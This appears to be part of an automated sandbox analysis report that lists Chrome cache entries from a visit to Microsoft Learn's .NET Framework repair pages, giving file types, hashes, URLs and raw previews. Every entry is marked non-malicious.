Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
